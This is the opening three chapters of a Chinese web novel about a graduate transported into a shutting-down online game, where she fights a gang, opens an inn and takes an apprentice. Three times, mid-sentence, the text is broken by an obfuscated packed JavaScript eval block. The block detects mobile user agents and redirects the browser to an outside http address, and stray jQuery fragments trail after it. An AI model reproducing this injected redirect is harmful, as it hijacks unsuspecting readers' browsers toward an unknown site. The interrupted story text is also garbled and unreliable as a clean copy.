《绿茶徒弟说他恨我》
1. 真神
“还有两单,就交给你了,我女朋友叫我去看电影,辛苦你了程姐。”男生换好衣服,冲她笑了笑,转身消失在夜色中。
程澄叹了口气,还剩一杯杨枝甘露和青青绿茶没做,她一边收拾店里的卫生,一边摇了摇刚封杯的奶茶。外卖员取走后,她也收拾着关了店。
“叮咚”大眼搜索迸出一条信息,红色的字体上面显示着‘与你相关’。
【《风起缘》宣布于明日中午12:00正式停服,邀请老用户回归】
上次玩这个游戏还是在大一,那个时候她在这个游戏里也算稍有名气,现在转眼之间,自己已经大学毕业了。
“叮铃铃……”
程澄刚坐上末班车,手机就震动起来。接通电话,熟悉的女声传来,那是她的辅导员。
“是程澄吗?”
“嗯”
“是这样的,咱们毕业生要统计就业去向。我在表格里看,我们班就你还没填,你看你这边能填一下吗?今晚十二点就截止了”
程澄急忙应声,她毕业已经有一段时间了,周围的同学们都找到了工作。她翻阅着在线表格,上面的职业有外企翻译,有中学教师,有公务员,还有的考研到名校了。
程澄大学几年不能说没有努力。
她每天在游戏里肝素材,刷副本,过任务……所幸游戏中也算大有成就。回到家中,她打开电脑,点开角落处积了灰的游戏。
【欢迎您的回归,我们一直在等待少侠。】
画面一转,层层叠叠的福利页面跳了出来。
虽然要关服了,程澄还是控制不住地把福利页面点了个遍。
“嘟嘟嘟嘟——”
私信框抖个不停,程澄忽地想起来,之前游戏里的亲缘恩怨,一到明日,这些关系都会烟消云散。
点开私信框一角,消息就狂轰乱炸地冲了出来。
“洋姐,你这号也就还剩一天了,要不要便宜一点出给我。”
“小洋人!今晚十二点巨兽门单挑,是女人就来砍我。”
……
说到出号,要是放在以前,【小洋人】这个账号放在海鲜市场上,众人怕是会抢破脑袋。
但现在游戏要关服,价值锐减,对程澄来说也算是无妄之灾。
全服第一的号,官方每逢过节都会送奇珍异兽。上一次甚至送了个小孩,层阶不明,属性不明,只知道性别是公的。
不过,她翻遍背包,也没看到他的身影,可能是被自己的仇敌掳走了。
她打开了勿扰模式,在地图上随便遛了几圈,过了几个日常任务。
程澄平凡的人生没有什么其它的成就,唯一有的,也就是那点高考分数,和游戏里众人称她的一句‘真神’。
鉴于明天还要去奶茶店上早班,她洗完澡就准备关游戏睡觉了。
她的脸刚伸到屏幕前,荧荧白光将她笼罩,那光芒愈来愈盛——到最后,在整个房间爆开。
“叮铃铃……”程澄的手机在床上嗡嗡震动,但直到挂断,都没有人接听。
楼下散步的人们察觉到一股强烈的光束,齐刷刷地抬起头,但好像是错觉般,一切如常。
……
程澄不知道自己在哪里。
她的眼前有一个漩涡,不停地旋转,闪着五颜六色的光芒。又似置于空中,耳边传来猎猎风声,和愈来愈强的人声。
忽然,一脚踩空似的,她的心跳漏了一拍。下一秒腰背传来一阵钝痛,程澄倒在了地上。
逐渐清晰的视野里进入了一角白色衣袍。
“姑娘,你没事吧?”
程澄仰起头,那是一个年轻的男子,他伸着手,语气里有些关心。
程澄摇摇晃晃地撑起身,手掌摩擦地面粗粝的触感让她清晰了一些。
眼前这个人,有几分眼熟,穿着古装,像是横店里的古风小生。面容特征有些像【云起缘】里的新手引导NPC,徐子青。
她明明刚才还在公寓里准备睡觉,不知怎么就躺到这陌生的地方了,太阳明晃晃地扎进眼里。
“你好,我这是在哪啊?”
“烟云镇,道友你要不要去医馆看看,在那边的街口。”男子面上有些担忧,给她指了一个方向。
烟云镇,【云起缘】中的新手村,自己这是被送到游戏里了?
“多谢道友,敢问道友尊姓大名?”她伸手抱拳,试探性地问道。
“徐子青,阁下呢?”
“程澄。”
“道友既无碍,子青还有要事在身,先行一步了。”
程澄见他急着走,好似不死心,又追着问道:
“道友,你今天的衬衣是什么颜色”
徐子青愣在原地,嘴唇微张,似是没听清似的,耳廓却忽地通红。
眼前的女子眨巴着明亮的眸子,肌肤胜雪,眉如远山,俨然是一副仙子相貌。
——此刻在凑着身子,死死拽着自己的衣袍,问自己的衬衣色形。
“是不是青色,衣角还有白鹤,绣有青字?”仙女又抢着问道。
程澄紧紧盯着他的脸,在捕捉到他面上明显划过的惊诧后,这才重重呼出一口气。
“感谢道友,江湖有缘再见。”
徐子青徒留在原地,目光涣散,她怎么知道自己的衬衣是青色。自己清白不再的念头环绕在他耳旁,而登徒子本人已经溜出了这条街。
没想到连这种隐秘的细节都对上了,看来自己这是真跑游戏里了。
程澄眼睛眨得飞快,好像在理解什么信息。
自己就只是回坑一下即将关服的游戏,竟然就被拐进了游戏里的大陆?
她踩着脚下的青石板,来到了主干道,入目是古香古色的江南矮楼,成排的药材铺子,门前的木牌子用炭笔写着今日的特价药材。
行人步履悠缓,时不时有孩童从小巷中窜出来,嬉戏追逐着跑远。
忽然,一行字闪在面前。
【检查到你有其它账号,是否要切换到原账号:小洋人】
作为博览奇幻小说的宅女,程澄对于穿越这件事已经接受良好了,她轻声回答道,“是”。
【现已为您切换账号:小洋人。】
话音刚落,她的视野就被一道黑纱覆盖。程澄想起来了,当时为了在游戏里有辨识度,自己捏了个奇丑无比的疤,横亘整张脸,后面连自己的亲友都忍不了,索性直接戴上了面纱遮盖。
电子音落下的一瞬间,程澄感觉耳目通明,这个世界焕然一新。她能感受到方圆十里的全部动作,但信息过于繁琐,她不得不收敛心神,才不至于头昏脑胀。
正是如此,她也能察觉到落在自己身上的几道目光,散发着幽幽寒气,不似善茬。
程澄还没摸准自己目前的实力,三步作两步——遁入附近的窄巷子,短暂隔开了暗处的目光。
但那些人似乎不打算放弃,匆匆的脚步声,夹杂着细碎的交流正朝着自己的方向快速移动。
这个窄巷子是个死胡同,眼前只余一道高墙,而身后的脚步愈来愈近。
试试轻功——程澄回忆着自己看过的武侠小说,她轻点足尖,感受到一股力量汇聚在尖端,稍一用力,自己已经一跃而起,翻过了这道墙。
她的发丝飞扬,越来越多的建筑映入她的眼底,这感觉像在飞翔
——程澄感觉到自己心跳如擂,全身的血液汩汩淌向头顶,很畅快,她的一生中少有这种时刻,她称之为‘活着’。
她轻巧地落地,又踩着几处墙檐,如流水般地于高低错落的屋舍中来去自如。
直到那股冷意消失,她才停下脚步。
俯瞰着脚下的城池,程澄有些愣神,明明昨天还在摇奶茶,现在自己竟然在真人跑酷。
她忽地想起来每年过年,亲戚必要把她拎出来,作为反面案例教育后代,说
“你看程澄,上了大学光知道玩游戏,玩游戏有什么用?”
一阵笑声从楼顶传来,来往的路人不由得抬头望去,那是一道身姿窈窕的黑影,不知为何,仰天长笑。
玩游戏的优势这不就出现了吗——
自己的账号虽说相貌奇丑,但武力和资源都是顶好的,而这得益于她超强的肝力,在一众退游的元老玩家中活了到最后,这才有了现在的真神【小洋人】。
“不要……爹爹,救我!”
一道尖叫声忽地打断了她的笑意,与此同时,相关的剧情纷纷涌入。
主线任务【英雄救美】
介绍:从黑虎帮手中救下李员外的女儿,但与黑虎帮从此结怨。
程澄好像有些明白了——完成主线任务,打通游戏,或许就是自己离开的方式。
“哈哈哈欠债还钱,还不起,就拿小美人还……”
“哎,李员外这下可真是没得救了,黑虎帮的人都来了……”
……
程澄登时足见轻点,轻身一跃,踩着几房红瓦,不到几瞬,她已轻车熟路地赶到现场。
一群满身刀疤的黑皮肌肉男,手里扛着大砍刀,将大腹便便的男性和旁边的花季姑娘团团围住,笑声淫邪。
“哎,李员外也是可怜,轻信了小人,这下女儿都毁了……”
路人纷纷为此叹息。李员外在烟水古镇名声很好,他会定期扶贫济困,也是饥荒期为数不多愿开仓赈灾的富商。
“哎——我去帮李员外。”一个青年男子挽着袖子就要冲上前,旁边的女子死死地扯住他的袖子,压低着声音,但还是听上去尖锐刺耳。
“张二,你是真傻了吗?那是黑虎帮的,不是隔壁家二狗,你上去要被人打死的。”
“那咋办啊——李员外对咱在场的大家都有恩情,咱不能做个忘恩负义的啊!”男子狠狠地扯过袖子,转过身去,看向周围的群众,高声喊道。
“谁不想救?黑虎帮年年都来闹事,不是没抵抗过,有用吗?”群众有人回声喊道,话音刚至,周围就群响毕至。
眼看着黑虎帮的人欲靠欲拢,那姑娘已哭得面色惨败,李员外挡在女儿身前,双腿抖擞得像筛子。
“王虎,我待你不薄!你为何要陷害我——”他哭喊道,面色憋得通红。
被称为王虎的男人,从一群身高体壮的大汉里悠悠走来,身材瘦小,捋了捋自己稀疏的胡须,
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256412|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
笑道:
“我王虎行走江湖,凭的就是手段,你李顺技不如人,有什么可叫嚣的?”
群众里有几道暗骂声翻涌,王虎奸诈小人,这些年来不知道暗地里骗了镇里多少老小的钱,现在又狐假虎威地来倒打一耙。众人都气得牙痒痒,但黑虎帮黑压压得挡在那里,谁也不敢上前。
“哦?这么巧——我程澄行走江湖,凭的也就是手段。”
众人循着声音转过身去,一个瘦削高挑的女人,立于高墙红瓦上,身着玄黑长袍,面容被面纱遮盖,模糊不清。
“程澄是谁?你听说过吗。”
“没有啊,是江湖新秀吧,可是,这黑虎帮可不是等闲……”
黑虎帮的大汉面面相觑,凶煞严肃的神情有一丝迷惑。还不等他们再说什么,程澄足见轻点,俯身跃来,两手空空。
几个大汉扛着大砍刀,邪笑着就要砍过来,路人纷纷惊叫着后退。程澄此时心里有些慌乱,这还是穿越后,她第一次打架,小时候打得最多的对手,还是那个瘦竹竿般的小学混混。
但程澄下一秒立马就安心了,因为那些大汉的动作,在她眼中,如同慢慢慢动作。
她跑至大汉身侧,轻盈如叶,一个重踹,足尖掀起阵阵劲风,那个如同巨石般矗立的身影已经被踹得沉入地面,地面碎裂出蜘蛛网的纹路。
剩下的几个,她也是用同样的招式,纷纷被她踹到地坑里,看上去毫发无伤,但口中鲜血成河般流出不止。
唯一没有被动的王虎,此时也后知后觉,裆下潮热,跌坐在地上,嘴里不忘颤声求饶。
场面安静了几秒,随着第一个人反应过来,全场掌声雷鸣,夹杂着欢呼和赞美。
程澄冲人群轻躬身体,随后足尖轻点,消失在了人群中。她随后在古镇里又溜了一圈,确认地图的细节和游戏中并无差别,但有一件事,与原剧情有出入。
除去自己,风起大陆应再无真神,但现在魔神横空出世,一统大陆,天下人闻风丧胆。更让她大跌眼镜的是,
自己的游戏肖像被贴的到处都是,黑墨白纸上一个面目狰狞的女子画得栩栩如生,原作者倒是很有水准,画像和自己现在的模样分毫不差。
倘若有人刚刚透过面纱瞥见她的真容,就会发现眼前这个女人,就是高额悬赏里那个【小洋人】,伤疤如巨蟒般堆积,一双桃花眼藏于尘垢中,清亮动人。
在原游戏里,自然是没有这一段悬赏剧情,程澄猜测,这个剧情的变化应与悬赏令的发起者,也就是与魔神有关。
自己虽处处树敌,但敌人的名号她都略知一二,魔神倒是前所未闻,或许是游戏的新角色。
不过为何要通缉自己,程澄百思不得其解。
夜幕将至,程澄有些发愁,自己目前的面容不适合引人注目。
她找了个偏僻的旅馆办理住宿。
一路走去,她的面纱受到了异常的关注。街边暗处隐匿的视线冷冷扎在她身上,剑拔弩张着,好似她稍一动作,就会一拥而上。
包括旅馆店主,一双狐狸眼笑眯眯地盯着她,那目光灼灼,像要烧穿面纱。
办理完正要上楼,一道身影挡住她的去路。
“道友的背影神似一位某的故人,能否解开面纱,让某一睹真容?“ 眼前的男子身材颀长,身着月白长袍,袍上的银线绣着弯月,看花纹应是万剑宗的弟子。
程澄有些无奈,自己的面纱确实太过显眼,看来不得不战了。
她扬声道:“勿浪费我时间。”
程澄的力量聚集在足见,只待那男子一个动作,她就会毫不留情踹下去,届时可能会断几根肋骨吧。
未料到,男子轻笑两声,让开了路,躬声说道:
“打扰姑娘了,某方才眼花认错了人。“他抬起头,眸里笑意盎然,说道:
“看姑娘不像本地人,古镇的路形繁杂多变,姑娘人生地不熟,若姑娘不嫌,某愿为姑娘做向导,可帮你避开很多麻烦。”
程澄沉声拒绝了他的邀请,几步就消失在了楼梯的尽头。
明明已经到了房间里,程澄还是感觉后背毛毛的。
那人的视线虽不让她觉得冒犯,但她能感觉到,不冒犯的视线才是最可怕的,说明对方实力难测,自己竟无法探查情绪波动。
程澄坐在干净的床褥上,开始思索起自己目前的御敌手段。
现下的风起大陆,共分为剑修,法修,药修。有三家名门正派:
万剑宗,宗门立于尖峰,弟子可习得各式剑法,百般武艺。
浮药殿,弟子可识百花,尝百草。
凡从浮药殿走出的弟子,会是江湖上无人不敬的药师,同时,也可能是闻之色变的毒士。
其三,位于蓬莱仙岛的天河门。其门下弟子稀少,讲求仙缘。
大陆罕有其门弟子,因门槛过高,一年不过收一人,在风起大陆,少有人能见到天河门的弟子。
游戏里原定玩家只能双修两种功法,但因有榜首福利,程澄修炼了三种,并且无一不精。
除过这些名门正派,还有些被世人成为‘邪修’的宗门。如花月山的合欢宗。
2. 收徒
眼下她更需要结界,天河门的功法更适合使用。
只见她阖目打坐于窗前,月华如练,一柱香的功夫,程澄睁开眼。与此同时,一股无形的能量将这间屋舍笼罩,如流水般纯净清缓。
穿越到这之后,那些功法剑术似印在她意识里一般,无需催动灵力,术法自然地就运转起来了。
安全措施既已经完备,现下终于可以休息了。一炷香后,程澄躺在异世旅馆的硬板床上,仍精神抖擞。
放在现世,这个点还没睡着的她,明日摇奶茶必会配错。但在一个连手机都没有的地方,她的内心竟如置于枯井般安宁。
长夜漫漫,不如玩点什么打发时间。
程澄心念一动,一道半透明的全息荧幕打在自己眼前,她调出背包栏,靠着意识划拉起背包里的东西。
——都是些她在活动期间拿的奖品。它们既不加经验值,也不能加属性值,屯在背包里起到一个纪念品的作用。
她的视线扫过几页道具,最终停在一个框上。
随机话本,程澄的意识滞留在上面,随即荧幕上跳出一个介绍框。
【属性:你想看的我都有。ps:会从大陆中任一话本里随机。】
就决定是你了。程澄心念一动,一本书卷横空落在自己眼前。
《说说魔神的那段禁恋》,作者:佚名。
说来,巨额悬赏自己的也是这书上所说的‘魔神’,程澄有些疑惑。
自己过去常用这副面容去抛头露面,悬赏自己的人不在少数。
但从未有人能复刻她的长相。这个魔神怎会对她如此熟悉,连她面上的疤痕样式都了如指掌。
或许话本里会有他的真实信息。程澄翻开羊皮册子,密密麻麻的字迹浮现出来,仿佛是刚刚写下的一般。
“作者佚名,知名作家,经营家,书画家,民间歌舞家,美食家,《说说魔神的那段禁恋》连载家,游行家,鬼神研究家……”
程澄把册子摊在床褥上,一刻钟的功夫,这位佚名的称号已经走了三面纸。
原本精神抖擞的程澄,目光缓缓掠过这些缓慢蹦出的称号,竟觉得睡意朦胧。她的身体愈发沉重,意识越来越轻,最后一丝念头是:多谢佚名老师出手相助。
此时,程澄的窗外。一抹月白色的身影静静地隐于夜色,几个蒙头大汉蹑手蹑脚地走到窗下,大砍刀在后背上闪着锋锐的银光。
“这小娘们竟然敢招惹我们黑虎帮,咱的今晚就为大哥他们报仇!”带头的大汉面露凶光,低声说道。
“二哥,我听说那小娘们身材火辣,不如我们……”
“先捉活的,待我取她双腿,剩下的随你们怎么玩。”
几个小弟围在一起,发出淫邪的笑声。
忽然,身后的树丛发出’簌簌‘声响。带头的大汉眼神锐利,缓缓地移动着身体,警惕道:“什么人,藏于暗处算什么英雄?”
强风迭起,卷落大片浅红野花,那几个壮汉忽觉口鼻间馨香阵阵,但夜色中空无一人。刚放下警惕,一道悠然的笑声从背后传来。
那人身着月白长袍,信步走来,看上去毫无杀意。
带头的大汉扛起砍刀俯身冲过去,直到相聚不过一米时,那人的面容清晰可见,大汉瞳孔骤缩,张嘴欲喊,话还未出已被拦在喉内。
身后的小弟们站在身后,目睹了极为恐怖的画面——一米九的二哥忽如无骨,纸皮般在风中颤颤巍巍地落下。
回过神来时,那人不知何时已经站在身前了。他们呆呆地张着嘴,不知是为接下来的死亡发怵,还是为他惊天的容貌而痴傻。
墨发蓝眼,银白月辉似落在他手心。他们还未来得及思考,一阵迷香扑面而来,眼前一黑,下一瞬已与自己的二哥殊途同归了。
程澄是被嘈杂的人声吵醒的,昨夜睡得很安稳,她许久没有睡得这么香了,或许穿越对她来说,不全是件坏事。
安宁的生活实在短暂,程澄刚出房门,便被一群人堵在门口。
他们七嘴八舌地嚷嚷着,‘死人’,‘祸端’……吃了早饭的功夫,终于有人站出来,清晰地阐述事情的始末。
那大爷颤巍巍地说着,眼神时不时瞟过来,实时关注着她的表情,程澄稍一皱眉,他便紧闭着眼不敢说下去了。
不过断断续续地,她也算是听明白了。昨夜她的窗前死了一堆人,他们怀疑自己是个到处惹祸端的,致使旅店其他人的性命堪忧,现下是想让她出去住。
“您看咱的给您退换三倍租金,您看如何?”掌柜搓手赔笑道。
程澄随口拒绝了租金,转身离开了旅店。
身后的住客和掌柜无不惊讶,要知道三倍租金可不是个小数目,走江湖的人最缺的往往不是武艺,而是腰间盘缠。
她熟练地来到了昨日行侠仗义的地方,李员外的府前,她还没报上名来,门童就眼前一亮,把她领了进去。
“恩人,您有什么需求尽管告诉我,昨日您救我们父女二人于水火中,倘若没有恩人您,我们怕是已经沦为黑虎帮那厮的刀下亡魂了。”
一进门,李员外就朝她颤巍巍地弯下膝盖,程澄急忙阻拦,告诉了他此次拜访的目的。
“空置门面吗,我手下还有一栋空楼在城郊,若恩人想要开店,那栋楼算我赠予您的。”
程澄连声拒绝,她也不知道怎么和李员外形容——对她来说,解决黑虎帮和做一杯杨枝甘露一样顺手。
由于游戏开发商对她这个元老玩家格外照顾,自己的账户余额也算富裕,即便是买下闹市高楼,也不过是一串数字罢了。
“不必,我本江湖人,行侠义事,不为奖赏。员外您说的那栋空楼,是否方便带我看看?”
李员王连声应下,他转身就招呼了几乘马车,驱车直至城郊。
“恩人您看,就是这儿了。”
程澄从马车上跃下,抬头仰视,一座高楼耸入眼底。古香古色的木制建筑,红漆点缀,楼身的木雕栩栩如生。
“一共有五层,占地面积可堪任烟云镇第一,但奈何地理位置偏僻,不知恩人欲于此处做何买卖?”
程澄不假思索道:“旅店。”
李员外大吃一惊,急忙说道:“恩人三思啊,烟云镇的旅店大大小小,已有十余家,这栋楼又位置偏隐,怕是不便做此等买卖。”
程澄轻笑安抚道:“员外无需担忧,我自有打算。”李员外经商发家,对商贾之事见地深远,但恩人如此执着,他也不好多说。
李员外浓眉紧蹙,轻声应
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256413|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
道:“恩人如此笃定,想必是有您的道理。”
“若您遇到什么问题,大可找我协助,虽为一介粗人,见识短浅,但在烟云镇也算小有人脉。”
“今夜特此为恩人举宴,愿恩人今夜于寒舍小聚,顺便歇脚休息,以备大业。”
她轻笑着谢过,这真是雪中送炭了。她之所以要开旅馆,并不是一时兴起。
烟云镇在游戏中即是新手村,因其温和气候及丰厚的材料资源得名。
在此处开旅馆,既可以接待商旅者,又可以接待江湖客,旅店虽多,但是她的脑中已有破局的路。
晚上的宴席琳琅满目,歌舞不断,程澄第一次见这种场面,对她来说与春晚旗鼓相当了。
到了后半场,李员外喝得很多,醉醺醺地凑过来,唠起了自己养女儿的故事。
最后的压轴节目,一个罗纱半遮面的女子走了进来,身着樱粉舞袍,随着悠扬的江南民乐,她踩着乐声和隐隐绰绰的昏黄灯光,舞得美艳大方。
程澄一不留神地陷了进去,这个人的舞技实在高超——放在现代的选秀节目,夺冠是毫无悬念的。
她一连舞了好几首,舞动的身躯越来越近,到最后仿佛贴在程澄的身侧。
乐声未停,程澄被她牵着起身,在她的引导下一同旋转起来,乐声愈加激昂,鼓点也和着观众的吆喝声,被她们落下的舞步踩在脚底。
少女的面纱被微风掀起,露出清秀动人的真容——和昨日在人群中自己救助的少女重合了,这个跳舞的美女竟是李员外的女儿。
“竟然是你?”程澄有些诧异道,“还不知姑娘姓名。”
“小女子姓李,名箜月,竹头空,天上月。恩人唤我箜月便可。”李箜月凑到她身旁,声音轻柔如水。
“箜月,好名字啊。你叫我程澄就好了。”
“怎敢直呼恩人大名。”
程澄摇了摇头,异世界的人就是文里文气的。
“程大人,箜月有一事相求。”
“你说。”程澄有些疑惑,按照游戏剧情来说,李员外的女儿是没有支线剧情的,现在这个发展,已经脱离了游戏的框架。
“我听家父说,程大人打算租用城郊的空楼作旅舍。”少女眨巴着大眼,望向她,眸含波光。
“箜月想恳求大人允许小女留在大人的旅舍里工作。”
程澄愣神道:”你父亲家底丰厚,你作为他的女儿自是生活无忧,为何要在我这工作?”
“箜月与程大人不同,不过一个闺中娇弱女子。现下爹爹的生意愈来愈大,箜月不愿再匿于闺中,苦求仗义之士的降临。”
少女朝着她的方向跪下,头重重磕在地上,发出一声闷响。
“求大人收小女为徒!箜月不要薪水,只求学得大人的万分之一武功——有立身之技,保护爹爹和李家。”
程澄不假思索道,“我教你立身之本,你须协助我经营旅舍,交易成立。”
“明天上午九点,准时上班。”程澄把李箜月扶起身来,说道。
“明天?可是,那栋空楼内部未做任何装饰,5层楼的建筑,城内最好的建工怕也需要十日。”李箜月有些担忧得望过来。
程澄狡黠一笑,道:“无需担忧,我自有打算。”
3. 模拟人生
李箜月翌日一大早就出发了,她对于程澄口中的一日半信半疑,即便是盖世神通,但对于屋舍装修,那也是无能为力的。
她刚下马车,就看到楼里似有黑影闪过。李箜月带着侍从急匆匆地冲了进去,只怕是又有恶徒来找麻烦了。
“你怎么来的这么早?”熟悉的声音传来。
李箜月转过身去,看到程澄精神抖擞地站在大厅,立马躬身问好道:“箜月想提前熟悉环境,方便协助大人。”
“你来的正好,看看我这楼装修的如何?”程澄侧过身,说道。
李箜月为眼前的场景大吃一惊。金碧辉煌的大厅,满壁的雕龙画凤,大厅正中还有假山流泉,翠竹花丛,头顶上吊的是千粒萤石环形灯盏,整个大厅敞亮又不失情调,幽静又不失人情。
昨日还空无一物的新楼,现下竟装修得如此华美——就算是匠城的首席来了,也不能够在这么短的时间内完成这么大面积、高质量的装修。
“一楼除了餐厅,我还挖拓了温泉浴室。”程澄在一旁补充道,她的声音有些激动,这是自己第一次亲自装修。
“您是怎么做到的?这简直是奇迹,我可以让爹爹也看一下吗,他肯定也没见过这种奇迹!”李箜月激动地说道。
“做起来不难,甚至和做梦一样简单。你随时可以让李员外来参观,最好顺便帮我宣传一下。之后,我们要让烟云镇乃至整个云起大陆的人都知道它。”
穿越前,她虽在《模拟x生》的游戏里经常给小人安装新房,但给自己装修这倒是头一回。装修道具都是她从系统仓库中取出来的,系统似乎会追踪她的意识,装修起来格外轻松,和做梦的环节一样。
李箜月跑到温泉室去,惊讶地发不出声,她知道这位程大人武艺高超,但未曾想过,她还精通工匠之道!
这些装潢在风起大陆前所未有,即使是最富有的首城,也不一定有这样前卫又奇美的装修……
程澄的声音打断了她密密麻麻地心理活动。
“箜月,你有认识的采药队吗?”烟云古镇毗邻云芝森林,主要的营生是出口药材,大户人家大都有自己的采药队。
镇里也有采药工会,大大小小共含几十支采药队。云芝森林虽广含天材地宝,但即使是森林外围,也有猛兽出没,采药队内必须有实力不俗者,才能平安往返。
一般的商贾旗下都有自己的采药队,收来的药材加工后再外销给外城的工会。
“当然,阿爹手上有五支,用来供给城心的药材铺子。”
“好,我现在需要你们额外为我供给药材,单子在这,收购价就按照市场价。”
李箜月收下单子,上面的药材都稀松平常,没有很珍贵的药材。
“现在,你按照酒店规格,帮我招纳员工,薪酬待遇优于市场情况,赶在日落前完成。”
李箜月应声退下,金碧辉煌的大殿里只剩下程澄一人,她回到自己的居室,从面上揭下一层假皮,露出玉润无暇的面容,镜子里映照的脸庞,和她现实世界长得一模一样。
这是她穿越进来的第三日,程澄似乎已然习惯了这里的生活,除了科技发展上的差别,这个世界或许比自己的原生世界更适合她。
她倒在温暖暄软的被褥里,晨光熹微。如果没有穿越,此时她应该在奶茶店忙得腾不出手,晚上再浑身酸疼得回家备考编制。迷迷糊糊中,一阵睡意卷来,程澄阖上了眼,陷入甜梦。
听着她细浅的呼吸声,一个身影从暗处走来,他微伏下身子,视线如蛇缓缓舔过她的睡颜。
“师父,是你回来了吗?”
他的声音几不可闻,在宁静的房间内如尘般摇落。
忽然,他轻微转头,对着空气中的尘埃,说道。
“有什么事?”
一个人从黑影中显现出来,单膝跪在他旁边,轻声说道:“宗主,门内有人闹事,那人说要您把藏的人交出来。门下弟子无能,未能抵抗。”
“他还抢走了宗内异宝,溯灵镜。”
“无耻之徒,夺我师尊,没找他算账,他还敢找上门来。”他身影一动,如墨影般只一瞬便消失了,房间里只余淡淡花香溢出,程澄仍深陷在梦境里,无知无觉。
……
程澄发现自己迷路了,烈日高悬,她身处一片无边无际的竹林中,竹影波动。
走了不知道多久,前方露出一间竹屋。她走近了看,这竹屋似是无人居住,毫无生活的痕迹,但每一处陈设都打理得很干净,就连庭院也没有落叶,倒是仓库堆满了柴火。
这竹屋有一股说不上的熟悉感,她走进竹屋的厨房里,立着一口铁锅和灶台,灶台没有近期使用过的痕迹,旁边摆着些辅料,在市场上很常见,但其中有一包调料,吸引了她的注意。
那是一袋明黄色塑料包装的调味,上面写着“xx乐鸡精”,程澄皱起眉头,异世界哪有这种塑料包装、这个牌子?但是放在现代,这不过是随处可买的调料。
难道曾有同类在此居住?程澄有些兴奋地想到,她重新搜索了这个竹屋,发现了不少现代人的物件,漫画书、奶茶杯子,甚至还有本英语单词书。
程澄彻底确定了,竹屋的前主人,定是自己的同类,甚至可能还是个大学生。她随手翻开那本英语单词书,上面写着“考研5500词”,词书上有圈画的痕迹,书页平整无尘,像是被人小心地护理着。
她端着词书,在院里的竹编躺椅上看起了单词,在穿越来之前,自己恰好也在看这本,不过她已经轮完一遍了,这本书的主人大概才过到一半。
这个躺椅躺着实在舒服,在现代堪称人体工学椅。手中的词书翻到第二章时,程澄注意到页脚上,轻轻地落下铅字,“师父”。她轻叹一声,有些共情了这个书友,因为她背单词时也喜欢随便涂画点什么,想到什么写什么。
复习到第三章的时候,程澄有些困了,她从卧室里抱了一床薄毯,窝回躺椅上,没一会儿就困意朦胧,就在意识消失的前一刻,她被一声巨响吵醒。
她强行撑开朦胧睡眼,一个模糊的黑影在门口伫着,好像在看自己。转念一想,不会是竹屋的主人回来了吧,她的睡意忽地消散,一个打挺站了起来。
那人还站在远处,远远地望着她,像是害怕般不敢接近。程澄走过去,干笑道:“不好意思啊,我刚刚迷路了,以为这里没人住,就进来了。”
那身影还是没有动作,看着她越来越近,迟迟没有回答。程澄有些疑惑,眼前这个男子有些眼熟,她说道:
“我好像在哪见过你?”
那男子好像回过神来般,露出礼貌的微笑,缓缓说道:”可能是我长得比较大众。“
他身材修长,比程澄要高两个头,说话时他微微垂下头,阳光打在他的眉骨上,落下重叠的阴影。
程澄笑了笑,调侃道:”道友的相貌乃鬼斧天工,若说您长得大众,恐天下难容。“
那人轻笑不语,领着她回院子里,男子始终走在她身后,保持着一段不近不远的距离。
他把柴堆到仓库里,问道:
”在下俞铮,还不知道友尊姓大名。“他的
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16256414|182067||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
语速轻缓,如被温水般浸润般。
”在下 程澄。“
“程澄?是什么程。”
俞铮取过扫帚,清扫着无尘的庭院,慢悠悠地和程澄聊了起来。
“禾苗呈和澄澈的澄。”
“哦,程道友是哪里人?”
“烟云古镇的。”
他手上的扫帚顿了一瞬,视线扫过来,又道:
“原来如此……烟云镇,那里生产药材,不过那儿多为李、张、王。程姓实为罕见。”
程澄有些心虚,心下立刻开始编造身世故事。未料到,俞铮的目光忽地落在躺椅边的词书上,他状似无意道:”程道友也喜欢这本书吗?“
程澄干笑道:“只是看这书样貌有趣,翻看了几页。”
”内容呢?道友对其内容有何看法。“俞铮追问道。
”恕我愚笨,俞兄的书实在晦涩难懂。“
俞铮好似听到了好笑的事,笑得开怀,程澄疑惑道:”何故笑之。“
“道友是个实在人,实不相瞒,此书是他人赠与,我也读不懂。”
程澄心下一紧,忙问道:“是谁送的?”
俞铮的目光缓缓扫过来,将她的神态尽收眼底,说道:
“恩重之人。”
还不等程澄追问,俞铮收起扫帚,瞥了眼天色,道:“程道友若不嫌弃寒舍,先进屋歇息吧,暴雨将至。”
程澄口中的话咽了回去,看来俞铮不太愿意告诉她。
没一会儿,院前黑压压地一片,暴雨倾盆。俞铮在灶房升火做饭,程澄站在他身后,时不时搭手切菜。
